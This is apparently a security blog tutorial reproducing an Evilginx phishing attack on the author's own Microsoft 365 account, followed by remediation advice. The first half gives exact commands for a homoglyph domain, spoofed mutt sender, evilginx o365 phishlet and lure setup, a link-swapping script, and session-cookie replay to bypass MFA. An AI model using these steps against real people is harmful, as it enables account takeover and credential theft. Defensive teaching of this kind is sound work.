Introduction
Evilginx is an advanced phishing tool that stands out in the cybersecurity landscape due to its sophistication and effectiveness in bypassing common security measures.
Unlike traditional phishing techniques that simply lure users into entering their credentials on a fake website, Evilginx takes the attack a step further by acting as a man-in-the-middle (MITM) proxy between the victim and the legitimate website. This approach allows Evilginx to intercept, log, and manipulate traffic, enabling it to capture not just usernames and passwords, but also session cookies and other authentication tokens. This makes it particularly dangerous as it can circumvent multi-factor authentication (MFA), rendering standard security precautions less effective.
We will try in this article to reproduce the Evilginx attack on ourselves.
Demonstration
In this part we will perform a quick setup and execution of evilginx on ourself to bypass MFA. To perform it, we will follow these steps :
- 1. Buy domain and configure
- 2. Configure mail client
- 3. Prepare template
- 4. Configure evilginx
- 5. Send payload
- 6. Retrieve credentials
- 7. Use cookie
1. Buy domain and configure
Let’s have a look on dnstwister, and chose a domain name similar to microsoft.online.
In our case we chosed mícrosoft.online
DNS Twister results
![](https://ftrsec.com/wp-content/uploads/2024/04/Screenshot-2024-04-10-at-22-48-09-dnstwister-Report-for-microsoft.online-452x1024.png)
Now that we chose one, let’s buy it !
We will chose to buy a Poland IP on OVH too so we can associate our IP with our domain name.
OVH domain and assignation
![](https://ftrsec.com/wp-content/uploads/2024/04/Screenshot-2024-04-10-at-23-01-05-OVHcloud-1024x571.png)
2. Configure mail client
Great ! Now obviously you need to attribute this IP to your VM and make sure it can reach internet 🙂
Our next step will be to install mutt.
For information, mutt is a text-based email client for Unix-like systems, known for its powerful features and flexibility in handling email.
We will install the package and create a really basic configuration file (.muttrc)
sudo apt-get install mutt
vim /home/fabien/.muttrc
Now we can fill this file with our informations for our phishing email :
set from = 'no-reply@mícrosoft.online'
set realname = 'Microsoft'
3. Prepare template
Next step will be to create a HTML template close to the reality. to do that, we will simply use a legitimate mail from microsoft.online about sharepoint access, and retrieve the html code of it.
We will then use it and adapt it for our target
Template HTML
You don't often get email from no-reply@sharepointonline.com.
Learn why this is important
Saturday, 13 Jan, 2024
Hello TURNHERR Fabien
Here's some news you might have missed this past week.
See all news
User Adoption Portal
Frequently
visited
Manage
the hibernation of your computer and save energy!
You can add a shortcut to your desktop and with one click your computer go into deep sleep mode
TURNHERR Fabien |
09 Jan, 2024
45 views
See all news
Privacy Statement |
Notification Settings
Get the SharePoint Mobile App
4. Configure evilginx
Now we have everything prepared to launch our attack.
For this we will download evilginx, of course and configure it to match our configuration, our domain name ( the domain name is identical than the previous one, I realized after that the special caracter doesn’t work in backend but just in front-end so there is a TXT record to add for my particular domain) :
sudo evilginx
config domain xn--mcrosoft-c2a.online
config ip 87.98.233.247
blacklist unauth
phishlets hostname o365 xn--mcrosoft-c2a.online
phishlets enable o365
lures create o365
lures edit 0 redirect_url https://portal.office.com
lures get-url 0
Perfect, our final step will be to retrieve the link to usuprate the office portal that evilginx gives us, and replace us in our template.
For this we will use the following script :
Replace link script
import sys
import re
def replace_href_in_file(file_path, new_link):
try:
# Read the content of the file
with open(file_path, 'r') as file:
file_contents = file.read()
# Replace the href attribute values
updated_contents = re.sub(r'href="[^"]*"', f'href="{new_link}"', file_contents)
# Write the updated content back to the file
with open(file_path, 'w') as file:
file.write(updated_contents)
print("All href links have been updated.")
except Exception as e:
print(f"An error occurred: {e}")
if __name__ == "__main__":
if len(sys.argv) != 3:
print("Usage: python script.py ")
else:
file_path = sys.argv[1]
new_link = sys.argv[2]
replace_href_in_file(file_path, new_link)
Now we just execute the last steps to send the email to our victim :
5. Send payload
Finally we can appreciate the final result of our crafted email
Now of course, the sending email is not so close to the microsoft.online because I got baited in my choice.
However, despite this detail it seems look pretty legit in the first sight
python3 replace.py template.html https://login.xn--mcrosoft-c2a.online/KAIvFjsh
mutt -e "set content_type=text/html" fabou@gepa.lu -s "News you might have missed" < template.html
Final result
![](https://ftrsec.com/wp-content/uploads/2024/04/Screenshot-2024-04-10-at-23-32-13-Proton-Mail-1024x526.png)
Now we will try to get on the link and see what happens.
Firstly, we notice that the url is our url with the special caracter but can be unnoticed by some people in some case. We will try to enter credentials, and MFA.
Office portal
![](https://ftrsec.com/wp-content/uploads/2024/04/Firstlogin-1024x506.png)
MFA
![](https://ftrsec.com/wp-content/uploads/2024/04/login2-1024x653.png)
6. Retrieve credentials
Here we can see the results of evilginx.
We get everything we wanted, the Source IP, the password, but most important of all : The session cookie !
With this session cookie we will replay it to bypass authentication password + MFA
Evilginx results - Password + cookie
![](https://ftrsec.com/wp-content/uploads/2024/04/results_evilginx-1024x572.png)
7. Use cookie
Now you can pass the cookie easily by importing the whole string with the extensions on google chrome Cookie Editor
Google Chrome - Cookie editor
![](https://ftrsec.com/wp-content/uploads/2024/04/importcookie-1024x428.png)
Congratulations, we successfully phished ourselves.
Now in the next part we will take about remediation to prevent these kind of attacks
Remediation
Azure AD Conditional Access
Leverage Azure AD Conditional Access to set nuanced access controls. This involves:
- Mandatory Multi-Factor Authentication (MFA): Enforce MFA, especially for accessing critical applications or when login attempts are made from unfamiliar devices.
- Geographical Access Restrictions: Define and enforce access policies based on trusted geographical locations, using IP ranges to distinguish between trusted and untrusted login attempts.
- Device Health Checks: Insist on device compliance with your security policies (such as encryption and antivirus protection) before granting access.
- Adaptive Access Policies: Utilize advanced risk assessments to dynamically apply access controls, adjusting the security posture based on the perceived level of risk.
Exchange Online Client Access Rules
Implementing targeted access rules in Exchange Online can significantly reduce your exposure:
- Use
new-ClientAccessRule
to create rules that restrict access based on IP addresses and specific user conditions, ensuring that only authorized users from known locations can access your email system. - Keep these rules up-to-date with any changes in your network infrastructure to avoid disrupting legitimate business activities.
Universal 2nd Factor (U2F) Authentication
Enhance security with physical authentication devices:
- Make the use of devices like YubiKeys mandatory across your organization to add a tangible layer of security.
- Educate your team on the importance of these devices and ensure they understand the protocols for their use and safekeeping.
- Develop contingency plans for lost or defective devices, ensuring these do not significantly compromise your security posture.
Details about Yubikey vs Evilginx
When using a YubiKey for authentication, especially in conjunction with protocols like FIDO2/WebAuthn or U2F (Universal 2nd Factor), the authentication process involves a direct cryptographic challenge-response mechanism between the YubiKey and the service you’re logging into (such as a website). This process is fundamentally different from traditional username/password or even TOTP-based 2FA methods, and here’s why it impacts the effectiveness of tools like Evilginx in capturing session cookies:
1. Direct Communication:
- The YubiKey communicates directly with the browser and the authenticating server, using cryptographic assertions that are unique to each session and cannot be reused. This means there’s no static « secret » or cookie that can be intercepted and reused by an attacker.
2. Domain-specific Keys:
- FIDO2 and U2F protocols ensure that the cryptographic assertions made by the YubiKey are specific to the domain of the service being accessed. This means that even if an attacker were using a man-in-the-middle (MITM) tool like Evilginx to capture the data exchange, the cryptographic response from the YubiKey wouldn’t be valid for any domain other than the legitimate one.
3. No Reusable Credentials:
- The challenge-response mechanism ensures that each authentication session is unique and cannot be replicated with previously captured data. Unlike a session cookie that could potentially be reused until it expires, the cryptographic proof generated by a YubiKey for a specific session is not reusable for another session.
4. Browser and Protocol-level Security:
- Modern browsers implement security features that recognize and facilitate direct communication with FIDO2/WebAuthn and U2F devices, bypassing traditional web forms and cookie-based sessions. This specialized communication protocol is designed to be secure against phishing and MITM attacks.
5. Phishing Resistance:
- Because the cryptographic assertions are domain-specific, even if an attacker manages to redirect a user to a phishing site, a YubiKey won’t produce a valid response for that site. The user might still be tricked into entering their username or password, but without the correct cryptographic response from the YubiKey, access won’t be granted.
Comprehensive Security Awareness Training
Empower your team with knowledge:
- Regular, engaging training sessions can dramatically improve your team’s ability to recognize and avoid phishing attempts.
- Test their awareness with simulated phishing exercises, providing additional training as needed to reinforce their knowledge.
- Foster an open environment where employees are encouraged to report suspicious activities, ensuring swift action can be taken.